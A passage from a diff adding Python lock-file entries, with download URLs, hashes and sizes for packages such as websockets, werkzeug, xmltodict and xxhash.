"sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf", size = 181918, upload-time = "2025-03-05T20:02:11.968Z" }, + { url = "https://files.pythonhosted.org/packages/d8/75/994634a49b7e12532be6a42103597b71098fd25900f7437d6055ed39930a/websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85", size = 176388, upload-time = "2025-03-05T20:02:13.32Z" }, + { url = "https://files.pythonhosted.org/packages/98/93/e36c73f78400a65f5e236cd376713c34182e6663f6889cd45a4a04d8f203/websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065", size = 176828, upload-time = "2025-03-05T20:02:14.585Z" }, + { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" }, + { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" }, + { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" }, + { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" }, + { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" }, + { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" }, + { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" }, + { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" }, + { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" }, + { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" }, + { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" }, + { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" }, + { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" }, + { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" }, + { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" }, + { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" }, + { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" }, + { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/d40f779fa16f74d3468357197af8d6ad07e7c5a27ea1ca74ceb38986f77a/websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3", size = 173109, upload-time = "2025-03-05T20:03:17.769Z" }, + { url = "https://files.pythonhosted.org/packages/bc/cd/5b887b8585a593073fd92f7c23ecd3985cd2c3175025a91b0d69b0551372/websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1", size = 173343, upload-time = "2025-03-05T20:03:19.094Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/d34f7556890341e900a95acf4886833646306269f899d58ad62f588bf410/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475", size = 174599, upload-time = "2025-03-05T20:03:21.1Z" }, + { url = "https://files.pythonhosted.org/packages/71/e6/5fd43993a87db364ec60fc1d608273a1a465c0caba69176dd160e197ce42/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9", size = 174207, upload-time = "2025-03-05T20:03:23.221Z" }, + { url = "https://files.pythonhosted.org/packages/2b/fb/c492d6daa5ec067c2988ac80c61359ace5c4c674c532985ac5a123436cec/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04", size = 174155, upload-time = "2025-03-05T20:03:25.321Z" }, + { url = "https://files.pythonhosted.org/packages/68/a1/dcb68430b1d00b698ae7a7e0194433bce4f07ded185f0ee5fb21e2a2e91e/websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122", size = 176884, upload-time = "2025-03-05T20:03:27.934Z" }, + { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" }, +] + +[[package]] +name = "werkzeug" +version = "3.1.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/70/1469ef1d3542ae7c2c7b72bd5e3a4e6ee69d7978fa8a3af05a38eca5becf/werkzeug-3.1.5.tar.gz", hash = "sha256:6a548b0e88955dd07ccb25539d7d0cc97417ee9e179677d22c7041c8f078ce67", size = 864754, upload-time = "2026-01-08T17:49:23.247Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ad/e4/8d97cca767bcc1be76d16fb76951608305561c6e056811587f36cb1316a8/werkzeug-3.1.5-py3-none-any.whl", hash = "sha256:5111e36e91086ece91f93268bb39b4a35c1e6f1feac762c9c822ded0a4e322dc", size = 225025, upload-time = "2026-01-08T17:49:21.859Z" }, +] + +[[package]] +name = "wordninja" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/30/15/abe4af50f4be92b60c25e43c1c64d08453b51e46c32981d80b3aebec0260/wordninja-2.0.0.tar.gz", hash = "sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a", size = 541572, upload-time = "2019-08-10T02:16:54.944Z" } + +[[package]] +name = "xmltodict" +version = "0.14.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/50/05/51dcca9a9bf5e1bce52582683ce50980bcadbc4fa5143b9f2b19ab99958f/xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553", size = 51942, upload-time = "2024-10-16T06:10:29.683Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d6/45/fc303eb433e8a2a271739c98e953728422fa61a3c1f36077a49e395c972e/xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac", size = 9981, upload-time = "2024-10-16T06:10:27.649Z" }, +] + +[[package]] +name = "xmltojson" +version = "2.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "xmltodict" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/bd/7ff42737e3715eaf0e46714776c2ce75c0d509c7b2e921fa0f94d031a1ff/xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d", size = 7069, upload-time = "2024-10-20T18:08:17.218Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/3c/80df27969bfbb84425886dd4aaa71875807badd442af65ae7d652592e8ce/xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a", size = 7811, upload-time = "2024-10-20T18:08:16.334Z" }, +] + +[[package]] +name = "xxhash" +version = "3.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/34/ee/f9f1d656ad168681bb0f6b092372c1e533c4416b8069b1896a175c46e484/xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71", size = 32845, upload-time = "2025-10-02T14:33:51.573Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b1/93508d9460b292c74a09b83d16750c52a0ead89c51eea9951cb97a60d959/xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d", size = 30807, upload-time = "2025-10-02T14:33:52.964Z" }, + { url = "https://files.pythonhosted.org/packages/07/55/28c93a3662f2d200c70704efe74aab9640e824f8ce330d8d3943bf7c9b3c/xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8", size = 193786, upload-time = "2025-10-02T14:33:54.272Z" }, + { url = "https://files.pythonhosted.org/packages/c1/96/fec0be9bb4b8f5d9c57d76380a366f31a1781fb802f76fc7cda6c84893c7/xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058", size = 212830, upload-time = "2025-10-02T14:33:55.706Z" }, + { url = "https://files.pythonhosted.org/packages/c4/a0/c706845ba77b9611f81fd2e93fad9859346b026e8445e76f8c6fd057cc6d/xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2", size = 211606, upload-time = "2025-10-02T14:33:57.133Z" }, + { url = "https://files.pythonhosted.org/packages/67/1e/164126a2999e5045f04a69257eea946c0dc3e86541b400d4385d646b53d7/xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc", size = 444872, upload-time = "2025-10-02T14:33:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2d/4b/55ab404c56cd70a2cf5ecfe484838865d0fea5627365c6c8ca156bd09c8f/xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc", size = 193217, upload-time = "2025-10-02T14:33:59.724Z" }, + { url = "https://files.pythonhosted.org/packages/45/e6/52abf06bac316db33aa269091ae7311bd53cfc6f4b120ae77bac1b348091/xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07", size = 210139, upload-time = "2025-10-02T14:34:02.041Z" }, + { url = "https://files.pythonhosted.org/packages/34/37/db94d490b8691236d356bc249c08819cbcef9273a1a30acf1254ff9ce157/xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4", size = 197669, upload-time = "2025-10-02T14:34:03.664Z" }, + { url = "https://files.pythonhosted.org/packages/b7/36/c4f219ef4a17a4f7a64ed3569bc2b5a9c8311abdb22249ac96093625b1a4/xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06", size = 210018, upload-time = "2025-10-02T14:34:05.325Z" }, + { url = "https://files.pythonhosted.org/packages/fd/06/bfac889a374fc2fc439a69223d1750eed2e18a7db8514737ab630534fa08/xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4", size = 413058, upload-time = "2025-10-02T14:34:06.925Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d1/555d8447e0dd32ad0930a249a522bb2e289f0d08b6b16204cfa42c1f5a0c/xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b", size = 190628, upload-time = "2025-10-02T14:34:08.669Z" }, + { url = "https://files.pythonhosted.org/packages/d1/15/8751330b5186cedc4ed4b597989882ea05e0408b53fa47bcb46a6125bfc6/xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b", size = 30577, upload-time = "2025-10-02T14:34:10.234Z" }, + { url = "https://files.pythonhosted.org/packages/bb/cc/53f87e8b5871a6eb2ff7e89c48c66093bda2be52315a8161ddc54ea550c4/xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb", size = 31487, upload-time = "2025-10-02T14:34:11.618Z" }, + { url = "https://files.pythonhosted.org/packages/9f/00/60f9ea3bb697667a14314d7269956f58bf56bb73864f8f8d52a3c2535e9a/xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d", size = 27863, upload-time = "2025-10-02T14:34:12.619Z" }, + { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" }, + { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" }, + { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" }, + { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" }, + { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" }, + { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" }, + { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" }, + { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" }, + { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" }, + { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" }, + { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" }, + { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" }, + { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" }, + { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" }, + { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" }, + { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" }, + { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" }, + { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" }, + { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" }, + { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" }, + { url = 